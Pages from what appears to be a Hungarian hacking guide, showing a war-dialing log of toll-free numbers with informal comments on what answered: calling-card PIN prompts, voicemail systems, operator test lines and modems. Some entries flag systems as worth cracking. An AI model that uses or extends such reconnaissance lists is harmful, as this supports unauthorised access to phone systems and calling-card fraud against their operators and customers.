uzse 06800123-26 Comment:Vmi menus ize .. 06800123-77 Comment:Pls enter your card number now 06800123-96 Comment:MAGYYAAAAR VMI FASZI FELVETTE :DDDDDDD 06800123-31 Comment:Mci worldcard. For info in elgish press 1...MENU cool ]; 06800123-30 Comment:Vmi press pound side and nummber .. ooo ?! 06800123-49 Comment:Cseng.. 06800123-20 Comment:Toll free number you reached is disconnected. 06800123-18 Comment:Huh...asszem faszi felvette es keccer elmondta uagyanazt de ebbol kovetkeztetve ez inkab gep... 06800123-13 Comment:VMi software..menus izee..tech support 7..stb 06800123-79 Comment:HULLA CSEND 06800124-20 Comment:Welcome to access or aril. Enter card number and pin 06800124-60 Comment:Card number and pin de elotte zene 06800124-76 Comment:Welcome to *** telefax service..for english prees 2.. 06800124-96 Comment:Mci wolrdcard es egy no felveszi ;] 06800124-08 Comment:Pls enter you pin number 06800124-87 Comment:EH :) You reached vmi 800 to 900 convert number. Number not activated es vmi nemzetkozi tarifarol is beszel..hmm erdekes! 06800124-40 Comment:Ez milyen nyelv?! ;]] Vmi telecomot beszel ha jolhallom.. 06800124-43 Comment:Cseng majd feszi felvette

313

Hackers’ Guide

06800124-17 Comment:Faszi felvette...insrago drazsana vagymit mondott 06800124-81 Comment:Meginy egy kellemes halk hangu noo ... menus valami 06800124-29 Comment:Welcome to vmi...pin number.. 06800124-98 Comment:Cseng.. 06800124-50 Comment:Vmi no egyfolytaba ezt mondogatja: You reached the **** telco change test line.. 06800124-56 Comment:Vmi nemet izeenek a rogzitoje vette fel 06800124-61 Comment:Ef kivansagara atmenetileg nem kapcsolhato.. 06800124-37 Comment:RadioMail Mailbox...pls enter you mailbox number followed by the pound key.. 06800124-89 Comment:Cseng.. 06800124-52 Comment:You reached vmi **** international change testline es ezt mondogatja.. 06800124-91 Comment:Yen hard. Pls enter your PIN number 06800124-16 Comment:Vonalat ad vagymi a fene ( na azt biztos nem de olyan hangja van! ) 06800124-66 Comment:Fuu modem sipol nemertem ;) Vmi menus izee 06800124-18 Comment:Welcome to vmi center office. Pls enter your center number 06800124-94 Comment:Cseng.. 06800124-28 Comment:Cseng.. 06800124-58 Comment:Number you dialed is changed...new number:*****,, You have not been charged for thiz call. 06800124-31 Comment:Pls enter your calling card number now. 06800124-41 Comment:telecom italien numero disctance..asszem ezis vmi test line fele lehet.. 06800124-03 Comment:Vmi gep bemondja ha jolertem: Tszc� ss! utana meg no: Thx for calling ! es foglalt..ez olayn lehet mind a 967 es 917 06800124-06 Comment:Cseng.. 06800124-78 Comment:Asszem vmi hotel...ugyertem osztark..no felvette 06800124-45 Comment:Cseng.. 06800124-77 Comment:Vmi corp mailbox system..to access voicemail press 7...megnezni majd ;) 06800124-27 Comment:No felvette...vmi corporationn 06800124-30 Comment:Pls enter your card number followed by pin. 06800124-73 Comment:Shalom! You geat aapart abasical ..ez mie nyevl?! 06800124-39 Comment:Van 1 kattanas majd csomot var es foglalt lesz 06800124-51 Comment:You reached the gts international testline 06800124-24 Comment:Cseng.. 06800124-14 Comment:Cseng.. 06800124-36 Comment:Pls enter you occaration code now! 06800124-54 Comment:Vmit beszel es foglalt lesz..mien nyelv ez?!? 06800124-38 Comment:Cseng.. 06800124-90 Comment:Faszi felvette: vmi support 06800124-83 Comment:Faszi felvette de halk nemertem mitmond 06800124-69 Comment:Number you reached (egesz mast mond mit amit hivtam) is checked in trouble. pls try again later. MEGNEZNI KESOBB 06800124-44 Comment:Knisline regisztracios es gyogyszermegrendelo vonala 06800124-42 Comment:No felvette...halk 06800124-55 Comment:Thxfor calling ICF. Menus..mEGNEZNI 06800124-68 Comment:Cseng.

314

Hackers’ Guide

06800124-57 Comment:Guten tag! Sie callen ...nemet izee vmi 06800124-63 Comment:Csomot vard majd foglalt lett mostmeg no ef.. 06800124-92 Comment:Pin number.. 06800124-95 Comment:Card number and pin 06800124-23 Comment:Vmit beszel... 06800124-04 Comment:Our business ourz are.... 06800125-76 Comment:Vmit dumal halkan majd foglaltlesz 06800125-95 Comment:Occaration code.. 06800125-96 Comment:Faszi felvetttte 06800125-17 Comment:Thx for calling mastercard globus center 06800125-02 Comment:Vmi duma...olaszul utana angolul pls hold for the next...es vmi no bele is szolt mar.. 06800125-16 Comment:Mci Worldcard 06800125-69 Comment:Cseng.. 06800125-47 Comment:Enter card number to monuded the hash or pound side. 06800125-09 Comment:Vmi uzenetrogzito de halk es nemhallom mitmond 06800125-24 Comment:Cseng.. 06800125-52 Comment:Cseng.. 06800125-19 Comment:Vmi helpdesk 06800125-05 Comment:VOice recorded..utna no felveszi: Hi i'm Kate what can i help u? 06800125-35 Comment:Mobel card service. Bitte geben sie card nummer ein! 06800125-15 Comment:Cseng... 06800125-12 Comment:Csend majd no felveszi...vmi Medical help line 06800125-41 Comment:Sie di undest autodidaktung. Vmi nemet szoveg es csend utana 06800125-18 Comment:Vmi no felvette es dumalt de halk es nemhalloom mit beszel 06800125-75 Comment:Not in service.. 06800125-93 Comment:Olyan hang mindha vonalat adna ...utana foglalt lesz nem magyar jelzessel. VONAL?! 06800125-87 Comment:Kicseng 1-t majd foglalt lesz nemmagyar jelzessel 06800125-57 Comment:General motorz bunozesmegelozesi szolgalata

013-xxx

06800130-57 Comment:VMB 0680013-011 Comment:Pls enter your secureID. 0680013-243 Comment:Ehm ez mien nyelv?! Vmi code-t beszel 0680013-856 Comment:Elmond vmit keccer es foglalt lesz.. 0680013-426 Comment:Welcome to diaer. Card numba and pin. 0680013-976 Comment:VONAL?! Ez mintha vonal lenne.......ehhe 0680013-769 Comment:Faszi feleszi: PRONTO. 0680013-855 Comment:Vmit elmond ketszer majd foglaltlesz 0680013-376 Comment:Pls enter the number you found on the phonecard!EZ A TELEFONALOS SZAM !!!!!!! :DDDDDDDDDDDDDDD Payphone .. ;D 0680013-683 Comment:Bon Jorno es vmit beszel...utana csend 0680013-882 Comment:Cseng.. 0680013-052 Comment:Kicseng majd bemond egy szamot es bont.. 0680013-672 Comment:Faszi felvette nemertem mitmond 0680013-655 Comment:Ef kivansagara atnebetileg nem kapcs. 0680013-938 Comment:Ef kivansagara atnebetileg nem kapcs.

315

Hackers’ Guide

0680013-562 Comment:EF NINCS de 13938-t felrenyultam..az vmi calling card MENUS izee 0-ra test sercice stb.. 0680013-755 Comment:You reached a not working 800 number... 0680013-387 Comment:Welcome! Pls dial 0 to continue. MEGNEZNI ERDKES 0680013-597 Comment:VMi corp international system..enter your userid followed by the star key.. 0680013-957 Comment:Thx for calling USSA. For poverty press 1 ...stb 0680013-186 Comment:All operators busy..pls hold . 0680013-267 Comment:Info for english press 1 .. stb MEGNEZNI 0680013-395 Comment:Vmit beszel de mien nyelven azt nemtoom 0680013-329 Comment:KINAI IZEE...pincode-t ker vagymit ;]]]]]]]]]]]] 0680013-241 Comment:ENTER THE NUMBER YOU're CALLING!! Beutod utana meg: enter your calling card numba :(0680013-973 Comment:Mintha vonal lenne de tok sokaig... 0680013-271 Comment:Fivesix channel vmi...for englisg pls press 1... 0680013-647 Comment:Carrier akar lenni csak elakad...azaz vmi furat sipol es bont.. 0680013-573 Comment:Vmi rogzito vettel fel...eleg erdekes..lehethogy PBX? 0680013-765 Comment:Felhivom vmi fura nyelven csomot beszel utana bemondja hogy not in service es nem is a szokasos szovegge.lll///GYABUS.. 0680013-339 Comment:Vmit beszel 2szer majd amcsijelzessel foglaltlesz 0680013-610 Comment:Vmi menus izeed de mien nyelv ez? :D 0680013-609 Comment:Aszem thx for calling telekom..our office now closed.. 0680013-616 Comment:VMi no felvette nemertem mitmonddddd 0680013-167 Comment:Pls enter your security code vagymi 0680013-910 Comment:Card numba 0680013-565 Comment:Apro sipolas es foglalt... 0680013-901 Comment:Vmi no beszel vmi olasz nyelven 0680013-273 Comment:Vki felvette de nagyonnemertem mitmonddd 0680013-042 Comment:beep beep bbeep feloraja jatszok vele aaaaaaaaaaaaaaaaaa 0680013-249 Comment:VOnal fele hang 0680013-776 Comment:TIMEX corp..business our are 0680013-587 Comment:Numer you dialed is not exist...es kozbe zene..telekom rulz ' 0680013-223 Comment:Foglalt de elozo MENUS MEGNEZNI TELEFONROL MERT MODEM SIIIPOLDD 0680013-261 Comment:Monster Europe vagymi 0680013-819 Comment:Uzenetrogzito.. 0680013-637 Comment:Willcomen by GCf vagymi 0680013-291 Comment:A hivott szam megvaltozott. Nezze meg a telefonkonyvben vagy hivja a tudakozot. A tudakozo szama: SZOMBATHELY09 .. ehh ehh :DDDDDD 0680013-010 Comment:Jezusom ez mien nyelv...vmt beszel de vmi INTERNETET is beszel... 0680013-071 Comment:Not in serviice 0680013-790 Comment:Pls dial your card numba and press hash. 0680013-359 Comment:Not in service or cannot be reached from your calling area. 0680013-473 Comment:Enerteety powerty sociaton vmi menus izeee...for emergency press 1 ..e?H veszhelzet? ;] 0680013-535 Comment:Is die calldibute nummer wahligen ;] Ezt ismetelgeti vmi nemet izee 0680013-937 Comment:Goldeneye service line...hold and you redirected shortly to

316

Hackers’ Guide

an op 0680013-756 Comment:Not working 800 number 0680013-668 Comment:Press zero one for englisg...MENUS 0680013-866 Comment:Vmi faszi felvette 0680013-275 Comment:Vmit beszel olaszul vagymien nyelven es ezt ismetelgeti 0680013-943 Comment:Pls enter your callerID :DD 0680013-690 Comment:Not in service 0680013-872 Comment:Vmi NEMET uzenetrogzito fele suxxsag 0680013-920 Comment:Card numba or press *0 ... 0680013-891 Comment:Eleg erdekes hangja van..mintha carrier lenne de mgsem az... 0680013-065 Comment:Not in service 0680013-380 Comment:Ez mien nyelv? vmi beszed .. 0680013-888 Comment:Pls enter you passcode!! TORNI :D 0680013-594 Comment:Mintha vonal lenne 0680013-560 Comment:Number you dialed is changed...es foglaltlesz 0680013-362 Comment:Hulla csend 0680013-802 Comment:Card numba and pign 0680013-027 Comment:Card numba and pign 0680013-207 Comment:Card numba and pin 0680013-116 Comment:Card number... 0680013-177 Comment:International OPERATOR test line mailbox. Test completed. 0680013-939 Comment:BEEP BEEEP BEEEEEEEEEP BAZDMEG 0680013-686 Comment:TOll frre number you reached disconnected 0680013-103 Comment:TOll frre number you reached disconnected 0680013-817 Comment:IBM center.. ;] Offices now closed.. 0680013-195 Comment:Card number...csak ezt mondja de semmi szoveg elotte..fura.. 0680013-988 Comment:Card number...csak ezt mondja de semmi szoveg elotte..fura.. 0680013-759 Comment:Not working 800 numb 0680013-183 Comment:International op test mailbox..test completed. 0680013-648 Comment:You reached an invalid numba...dial again.. 0680013-685 Comment:Disconnected.. 0680013-602 Comment:Pronto! faszi felvette 0680013-972 Comment:Mintha vonal lenne 0680013-127 Comment:Thx for call cellos..www.cellos.com leave msg pls hold ..party's extension ...stb 0680013-738 Comment:Mintha vonal lenne 0680013-954 Comment:Pls enter your id! 0680013-613 Comment:Thx for calling mi WW iizee...our opening ourz are.. 0680013-733 Comment:For english press 1 for japanese press 2... 0680013-134 Comment:Vmi olasz duma...ezt ismetelgeti 0680013-281 Comment:Pls dial your pressno ID number and press hash! 0680013-102 Comment:Disconnected 0680013-689 Comment:Disconnected 0680013-277 Comment:Vmit beszel olaszul 0680013-289 Comment:Pls enter your PIN code! MEGNEZNI HATHA TORHETO 0680013-829 Comment:Nemhallom...asszem magyar de nem 100.. 0680013-084 Comment:Card numba and ping

317

Hackers’ Guide

0680013-706 Comment:Poverty...ezt mondja es csend.... 0680013-048 Comment:No felvette 0680013-458 Comment:If you need a modem access number press2... 0680013-679 Comment:Pls enter your userid followed by the # 0680013-351 Comment:Vmit beszel olaszul es foglaltlesz 0680013-881 Comment:Enter your passcode 0680013-338 Comment:Cannot be completed as dial.......... 0680013-807 Comment:No felvette 0680013-989 Comment:Press 2 for english 0680013-778 Comment:Pf ebbol aztan semmitse ertettem...... 0680013-051 Comment:Mond 1 szamot majd foglalt lesz 0680013-197 Comment:Touchtone phone required.. 0680013-642 Comment:Vmi olasz szoveg vagymien 0680013-915 Comment:Card numba and # 0680013-732 Comment:Vmi company..mailbox numba pls 0680013-391 Comment:Not in service 0680013-709 Comment:Faszi felvettte 0680013-430 Comment:Mintha vonal lenne 0680013-898 Comment:This numb3r is temporary alteroved vagymi 0680013-325 Comment:Pf..home telephone numba and secure digit vagynu.. 0680013-657 Comment:1 for english..... 0680013-507 Comment:Card numba and pin 0680013-437 Comment:You reached .. 0680013-842 Comment:Cseng.. 0680013-333 Comment:Vmi hang 2szer utana bemondja: Thx...goodbye...es fogl lesz 0680013-945 Comment:Cseng.. 0680013-887 Comment:Pls enter your passcode 0680013-354 Comment:Gts calling card service...card numb and pin 0680013-216 Comment:Thx for calling vmi 0680013-317 Comment:Vmi no felveszi de mien nyelv ez??? ehe.. 0680013-768 Comment:Cseng 0680013-381 Comment:Card numba 0680013-646 Comment:Hubaz ez mien nyelv? :) 0680013-859 Comment:Cannot be reached from your calling area 0680013-178 Comment:International operator testline mailbox...test completed. 0680013-297 Comment:Cseng 0680013-695 Comment:Vmi no felvette 0680013-110 Comment:Ehe;;]] Ez mien nyelv? Beszel es fogl lesz 0680013-424 Comment:Vmi support.. 0680013-661 Comment:Vmi menu de nyelvet nemertem 0680013-964 Comment:Thx for callnig vmi.. 0680013-892 Comment:Thx for calling vmi...mENU 0680013-410 Comment:Thx for call vmi corporation 0680013-571 Comment:Pin numba and press # 0680013-107 Comment:You have entered an invalid telefonnumber. Pls check the number and call again...eheh ;]]] 0680013-023 Comment:Number you entered is not valid...call the helpdesk.. 0680013-504 Comment:Our opening ourz are.. 0680013-043 Comment:American Express Calling card...card numba!

318

Hackers’ Guide

0680013-324 Comment:Enter your card numba now 0680013-785 Comment:Pronto encsicsi...faszi felvette es ezt mondta 0680013-101 Comment:Toll free number you have reached is disconnected. 0680013-350 Comment:Vmi no felvette nemertem ien nyelv.. 0680013-126 Comment:All our operators is busy..pls hold 0680013-947 Comment:Press one for english.. 0680013-644 Comment:Uh vmi menus izee de mien nyelv ez.. 0680013-784 Comment:Its for center vagymi..faszi felveszi 0680013-595 Comment:VMi helpdesk...calls are recorded 0680013-825 Comment:VMi numbert beszel or access last digits...ee 0680013-634 Comment:Card number 0680013-641 Comment:Uhhuuu ez mien nyelv? VMit beszell...asszem menu 0680013-791 Comment:Pls enter your ID code 0680013-552 Comment:Uhuu ez mien nyelv ? Vmit bszel menus..asszem 0680013-451 Comment:Welcome to teleconnnect! Pls enter yourPIN number 0680013-352 Comment:Card number followed by hash 0680013-100 Comment:Vmi operation code.. 0680013-061 Comment:You reached an unworking 800 number 0680013-762 Comment:Not in service 0680013-015 Comment:Telekom calling card service 0680013-952 Comment:For english press two... 0680013-196 Comment:Card number 0680013-500 Comment:Rogzito...nemmondta kie 0680013-133 Comment:EZ MIEN NYELV? vmit beszel no... 0680013-551 Comment:You reached the GTS international call and change testline 0680013-309 Comment:Menus izee 0680013-145 Comment:PHONE CARD SYSTEM.ENTER YOUR PHONECARD NUMBA :DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD 0680013-787 Comment:Enter your password 0680013-714 Comment:Vmi menus izee 0680013-005 Comment:Menu de nagyon halk..nemertem 0680013-490 Comment:Globus card 0680013-416 Comment:Non working toll free numb3 0680013-567 Comment:Pin and pound key 0680013-062 Comment:Welcome to vmi.. 0680013-684 Comment:has been disconnected.. 0680013-678 Comment:Currently not in service 0680013-526 Comment:Uhu ez mien nyelv? ;] 0680013-492 Comment:Vmi no felvette nemtom mien nyelv 0680013-377 Comment:Non working 800 0680013-622 Comment:For english press 1.. 0680013-645 Comment:Slalom..for english.. 0680013-176 Comment:Int operator test line mailbox...test completed 0680013-600 Comment:Enter your password 0680013-680 Comment:No felvetttte 0680013-128 Comment:Pin code.. 0680013-929 Comment:Faszi felvettte 0680013-421 Comment:Access tekekom...pls enter your occaap??? code 0680013-766 Comment:Vmi kinai izee beszel csomot utana meg number not in service...

319

Hackers’ Guide

0680013-975 Comment:ez MINDHA VONAL LENNE..EH. 0680013-213 Comment:disconnected.. 0680013-835 Comment:Card service...de eleg fura 0680013-818 Comment:Uzenetrogzito vmi cege 0680013-760 Comment:Currently not in service 0680013-472 Comment:Card numa and pin 0680013-045 Comment:Boardvision...offices now closed.. 0680013-978 Comment:vmi menus ize 0680013-189 Comment:hulla csend 0680013-588 Comment:Vmi kinai felvette :DDDDD 0680013-688 Comment:Disconnected.. 0680013-812 Comment:Faszi felvette 0680013-076 Comment:Our offices are..... 0680013-539 Comment:Menu...VAN MAGYAR NYELV IS BENNE 0680013-833 Comment:Thx for calling izeee.. 0680013-656 Comment:Press 1 for eng 0680013-638 Comment:Australian vmi..infot lehet kerni rogzito ra kell mondani hova kuldjek 0680013-974 Comment:mindha VONAL LENNE 0680013-596 Comment:Nyelvvalasztas..8-ast a MAGYARHOZ :>>>>>>>. 0680013-701 Comment:Our opening ourz are.. 0680013-659 Comment:Cannot be reached from yoru call area 0680013-423 Comment:HULLA CSEND 0680013-968 Comment:MINDHA VONAL LENNE 0680013-909 Comment:Kerem adja be a hivoazonosito kodjat! MAGYAR :) 0680013-607 Comment:Uh ez vmi nemtom mien nyelv..nemertem 0680013-024 Comment:Nyelvvalasztas...aszem spanyol es angol van csak 0680013-754 Comment:Currently not in service 0680013-233 Comment:Enter your card number and pin! 0680013-502 Comment:Pls check the number and dial again..eh?! 0680013-598 Comment:Miltech services...pls stay on the line for customer assistance 0680013-658 Comment:Press one for english..lapirdu for france :)) 0680013-958 Comment:Thx for call startrek communications! Pls enter your card number now! 0680013-788 Comment:Pls hold for an op 0680013-770 Comment:Eloszor vmi kinai izee utana meg number you have dialed is not in service 0680013-857 Comment:Nemertem mit mond..vmi test lunch vagymi 0680013-967 Comment:Mindha vonal lenne...siiiiiip 0680013-531 Comment:Mci worldcard customer service 0680013-358 Comment:Sipol egy hosszut majd magyar jelzessel foglalt lesz 0680013-699 Comment:Vmi kinai no felveszi 0680013-063 Comment:Disconnected 0680013-741 Comment:Your code and ping 0680013-540 Comment:Vmi helpdesk 0680013-150 Comment:Vmi no felveszi...vmi fundarcazation service 0680013-301 Comment:Vmit mond utana tok csend...varok es vmi no: HALLOOOO...eh ... eh... 0680013-321 Comment:VMi menus izee

320

Hackers’ Guide

0680013-808 Comment:Pls enter your personal ID number 0680013-806 Comment:Enter your caller id! 0680013-667 Comment:Press 01 for english...stb 0680013-493 Comment:Bug .. eloszor magasan (mintha vonal lenne) utana melyebben.. 0680013-837 Comment:Vmi ize..airlines vagymi..valasztani kell kihez akarod a hivast iranyitani..uj zelandi support..ausztral support...stb 0680013-593 Comment:EF kivansagara atmenetileg.. 0680013-861 Comment:Welcome to vmi Canada calling card service! 0680013-220 Comment:Disconnected 0680013-215 Comment:Disconnected 0680013-878 Comment:Pli card helpdesk vagymi 0680013-670 Comment:Pls enter your four digit userid! :)) 4 digit? :)) 0680013-814 Comment:Pls enter your caller id..es kozbe recsegett a vonal..MATAV RULLAH :D 0680013-612 Comment:Ef kivansagara....... 0680013-870 Comment:Wallport comm...thsi number is not in use 0680013-131 Comment:All operators currently assisting customers..wait please! 0680013-928 Comment:Not in service this time or cannot be reached from your calling area. 0680013-129 Comment:Vmi no felvette nemertem mit mondd 0680013-568 Comment:Apro pitty utana meg hulla csend..... 0680013-549 Comment:Gts international test line 0680013-323 Comment:Disconnected.. 0680013-625 Comment:Pls enter your subscribe number floowoed by number sign 0680013-258 Comment:Welcome to City telephone network! Pls enter your phone number! 0680013-312 Comment:Pls enter your ID number 0680013-550 Comment:Gts testline 0680013-227 Comment:Pls enter your card nmber now 0680013-824 Comment:Menus izee 0680013-365 Comment:COmmet communications .. caard numberand pin 0680013-883 Comment:International Voicemail system...ERDEKES KUUUUL 0680013-409 Comment:System is not avaible at this time 0680013-228 Comment:Gewolling vmi servisz 0680013-761 Comment:Currently not in service 0680013-293 Comment:Vmit beszel kinaiul utana meg csend 0680013-839 Comment:Vmi support..pin es #! 0680013-007 Comment:Not available from your caalling area 0680013-927 Comment:Vmi faszi felvette letette de NEM LETT FOGLALT UTANA MIUTAN LETETTE! 0680013-786 Comment:Opening ourz... 0680013-169 Comment:Cseng.. 0680013-605 Comment:Nyelvvalasztas 0680013-820 Comment:Ehh ez meg mi...mindha lassu foglalt jelzes lenne utana meg foglaltlesz rendesen de elotte katt.. 0680013-666 Comment:Vmi nemet faszi felvezi 0680013-234 Comment:Calling card number 0680013-885 Comment:EZ MAGYAAAAAAR :DDDD Adja meg ugyfelszamat! :d 0680013-848 Comment:Not in service

321

Hackers’ Guide

0680013-055 Comment:Cannot be reached.. 0680013-173 Comment:Pin .. 0680013-553 Comment:Vmi assistance 0680013-146 Comment:Temporary out of order..HEH? ;]]] 0680013-673 Comment:System is temporary unavaible..pls try later 0680013-873 Comment:Nine digit customer number 0680013-916 Comment:Not in service 0680013-548 Comment:GTS International TestLine 0680013-810 Comment:Faszi felvettte es HALOzott 0680013-653 Comment:No felveszi: customer service 0680013-687 Comment:Has been disconnected.. 0680013-054 Comment:Bemond 1 szamot majd foglalt lesz...ehhe? 0680013-254 Comment:Vmi international network...personal numbert ker 0680013-970 Comment:Mintha vonal lenne 0680013-130 Comment:International operators how can i help you? 0680013-804 Comment:Non working 800 0680013-913 Comment:Card numba 0680013-980 Comment:Our opening hours are.... 0680013-514 Comment:Vmi no felvette 0680013-925 Comment:VMi no felvette. 0680013-935 Comment:VMi software..opening hours are.. 0680013-632 Comment:Card numb3 and pin! 0680013-214 Comment:Has been disconnected 0680013-016 Comment:Telekom calling card services...for english insturcionts press 1 0680013-470 Comment:Not in use 0680013-368 Comment:Quest communications..card nnumb3 and pin! 0680013-969 Comment:Mintha vonal lenne olyan hang 0680013-185 Comment:Enter your mailbox number and pin! HACKOLASRA JO :D 0680013-618 Comment:Vmi helpdesk...call is recorded! blah blah.. 0680013-676 Comment:Currently not in service 0680013-757 Comment:Currently not in service 0680013-179 Comment:Thx for calling vmi...press 1 for... 0680013-946 Comment:Pls enter your card numb...bip! 0680013-716 Comment:NOt in service..elozor meg network difficulity miatt nem tudtak teljesiteni a keresemet..hmmz 0680013-675 Comment:Press 01 for english...stb 0680013-094 Comment:Telecard bordelux! Enter your card numbb 0680013-221 Comment:Has been disconnected... 0680013-124 Comment:Mci worldcard 0680013-068 Comment:Uzenetrogzito vette fel 0680013-217 Comment:Has been disconnected 0680013-789 Comment:Vmi helpdesk 0680013-075 Comment:For Vide0 conferencing press 2, if you call from a roadway phone please stay on the line! :DDDD 0680013-590 Comment:Vmi helpdesk, NO FELVETTE 0680013-911 Comment:Not in use 0680013-826 Comment:Pls hold for the next available INTERNATIONAL OPERATOR! :DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

322

Hackers’ Guide

0680013-367 Comment:Quest communicaitions..enter card number 0680013-908 Comment:Vmi FASZI FELVETTE...elkezdi: JO ESTET KIVANOK...HEEEE MOST DELELOTT VAN! eh :) 0680013-635 Comment:Vmi kinai no felvette vagymi...nemtom mien nyelv ez 0680013-466 Comment:NOT in service AT THIS TIME or cannot be reached from your area...ebben az idoben...MEGNEZNI KESOBB 0680013-961 Comment:All operators are currently assisting customers! Pls wait... 0680013-375 Comment:1 for english, 2 for espanyol ;) 0680013-326 Comment:Has been disconnected 0680013-922 Comment:The party you called is not avaiblable! You can leave a msg...stb 0680013-435 Comment:Vmi no eloszor beszel vmit utana meg aszem: GTS Systems my name is X.y how can i help you? eh. 0680013-419 Comment:Card number and pin 0680013-006 Comment:E-neil international mail system 0680013-608 Comment:Ez vmit beszel olaszul vagymi..nemertem 0680013-322 Comment:Vmit beszel majd foglaltlesz 0680013-396 Comment:Vmit beszel es foglaltlesz 0680013-566 Comment:Will be recorded..aztan cseng tovabb 0680013-190 Comment:Card number 0680013-121 Comment:Vmi no felvettte 0680013-725 Comment:Not in service at this time or cannot be reached from your calling area...MEGNEZNI KESOBB 0680013-250 Comment:Pls enter your occaration code now! 0680013-719 Comment:Not in service at this time or....MEGNEZNI KESOBB 0680013-388 Comment:Vmi no felveszi: cadi ele para espari? 0680013-694 Comment:Numera transporti support 0680013-050 Comment:Bemond 1 szamot es foglaltlesz 0680013-858 Comment:Pls enter die a card number 0680013-771 Comment:Mary,can i help you? 0680013-340 Comment:Check the numb3 and try 4gin 0680013-884 Comment:Faszi felvettE 0680013-834 Comment:Mindha vonal lenne! Sokat vartam csend lett majd modem bontott...e. 0680013-370 Comment:Quest comminications.Enter your home phone number and pin! Callback???! 0680013-157 Comment:Number you have dialed is not recognized! Pls try again 0680013-436 Comment:Hulla csend 0680013-373 Comment:Quest comm...card numbe and pin! 0680013-536 Comment:Welcome to telekom! Card numbe... 0680013-971 Comment:Mindha vonal lenne 0680013-717 Comment:Not in service at this time or cannot be reached from your are 0680013-200 Comment:No felveszi 0680013-671 Comment:Vmi office laboratory 0680013-532 Comment:Our opening ourz are.. 0680013-009 Comment:Jizus ez mien nyelv...vmi no felvette 0680013-626 Comment:Pls press zero to cointnue///MEGNEZNI 0680013-805 Comment:Non working 800 0680013-681 Comment:No felveszi: what cean i help you

323

Hackers’ Guide

0680013-734 Comment:MINTHA EGY ELROMLOTT CALLING CARD NUMBER LENNE/// 0680013-854 Comment:Vmi test line 0680013-166 Comment:Pls enter your security code! 0680013-977 Comment:Welcome to word-line telekom! Pls enter your pin 0680013-499 Comment:Dis number is not breg..ezt monjda utana foglaltlesz 0680013-001 Comment:For international call services press 2 for local services press 3 .... 0680013-491 Comment:Vmit mond nemtom mien nyelven majd foglaltlesz 0680013-875 Comment:Missionaire program is now closed.. 0680013-066 Comment:Has veeb dusconnected 0680013-363 Comment:VMi NEMMAGYAR NO FELVETTE mindha kinai lett volna vagymi 0680013-624 Comment:thx for calling world connection...oour business ourz are.. 0680013-494 Comment:Qw'ew open from monday to frida...y...etc 0680013-222 Comment:disconnected. 0680013-591 Comment:you reached Mil technnologies one test target 0680013-811 Comment:Calling card service 0680013-986 Comment:vmi Miltech...now closed...etc 0680013-693 Comment:has been disconnected 0680013-270 Comment:Megy vmi zene kozbe beszed...for englisg dial 2! 0680013-191 Comment:KEREM HOGY ATMENETI TULTERHELTSEG MIATT ISMETELJE MEG KESOBB...EJJEL 0:57KOR.....KUUL MATAV RULZ 0680013-852 Comment:Vmi internatioan support line 0680013-736 Comment:Number not in service 0680013-917 Comment:Toucthone system 0680013-606 Comment:Pls enter your four digit sp code 0680013-692 Comment:has beeb disconnedted...ezt mondja 0680013-924 Comment:Welcome! Pls dial 0 to continue! 0680013-269 Comment:Card number 0680013-619 Comment:Opening hourz are.... 0680013-849 Comment:Not in service.... 0680013-386 Comment:Pittyen majd foglaltlesz 0680013-843 Comment:Hang es csend(card numberes hang) 0680013-589 Comment:Welcome to Koria Telekom! Utana mond vmi szoveget mittomenmien nyelven 0680013-465 Comment:Enter your password! 0680013-940 Comment:Slalom! es mond vmi szoveget 0680013-704 Comment:Not in service 0680013-847 Comment:Not in service 0680013-840 Comment:You have reached vmi....utana rogzito sipolt 0680013-574 Comment:Has been disconnected 0680013-115 Comment:EH...vmi nemet ize ha jol hallom": PLS ENTER YOUR HOME !!!! NUMBER AND PRESS THE HASH BUTTON...eh... 0680013-449 Comment:2 pitty majd foglaltlett 0680013-919 Comment:mvmi helpdesk 0680013-471 Comment:Vmi internet network vammi...ou opening ourz are 0680013-737 Comment:Vmi sipolas utana csend...FAX?? 0680013-202 Comment:HULLA CSEND>....NEMA.... 0680013-677 Comment:Vmi toucthone system

324

Hackers’ Guide

0680013-109 Comment:Vmt bemond es foglaltlesz 0680013-120 Comment:Welcome to advanced card technologies...card numb3 0680013-933 Comment:vmi szov 0680013-636 Comment:All operators are currently assisgint customers 0680013-003 Comment:Telekom Italien information grance: numero ize lofasz 0680013-831 Comment:A hivott szam atmenetileg nem kapcsolhato! MAGYAR ehe' 0680013-000 Comment:Telekom italien information gecza 0680013-520 Comment:Rogzito 0680013-631 Comment:Sec market opreation pepning ourz are... 0680013-763 Comment:Not in service 0680013-369 Comment:Quest comm.Card numbe 0680013-601 Comment:Pls dial your 10 digit account number NOW 0680013-328 Comment:Disconnected.. 0680013-691 Comment:Disconnected.. 0680013-936 Comment:Card number 0680013-454 Comment:Bemond vmit kinai nyelven vaaaaz 0680013-827 Comment:Pls hold for the next available international operator 0680013-372 Comment:Quest comm 0680013-344 Comment:Passcoed and pound 0680013-521 Comment:Keies envbiondung mit diese telefonnu,mmmmmber 0680013-282 Comment:Nt in service 0680013-073 Comment:Not in sericv 0680013-758 Comment:BEEEEP BEP BEP BEP BEP ANYAD TE FASZ 0680013-561 Comment:Card numb3 0680013-168 Comment:Security code 0680013-621 Comment:Vmi menus ze 0680013-599 Comment:You have reached Mil technologies ONE test target 0680013-090 Comment:FOUR DIGIT CODE!!!!! [HACKELNI VAZ] 0680013-057 Comment:VMi menus ize 0680013-979 Comment:Non working 800 0680013-374 Comment:Pin nume3r 0680013-712 Comment:Press 1 for english 0680013-285 Comment:Vmi banko 0680013-469 Comment:For engligh press 1 0680013-764 Comment:Not in serive 0680013-698 Comment:FAX???????????? 0680013-586 Comment:Vmi no felvettte 0680013-823 Comment:System currently unavailable...try lateer 0680013-853 Comment:Commercial helpdesk one 0680013-219 Comment:Disconnected 0680013-064 Comment:Disconnected

011-xxx

0680011-330 Comment:Cardn umber 0680011-632 Comment:Has been disconected 0680011-789 Comment:Card numb3r 0680011-434 Comment:vmi COmmunication center es tovabbkapcsl operatorhoz 0680011-522 Comment:Telecard callign card serv. 0680011-955 Comment:Vmit bemond kinaiul es foglaltlesz 0680011-786 Comment:Egy olyan tarcsahang fele utana meg mmagyarjelzessel

325

Hackers’ Guide

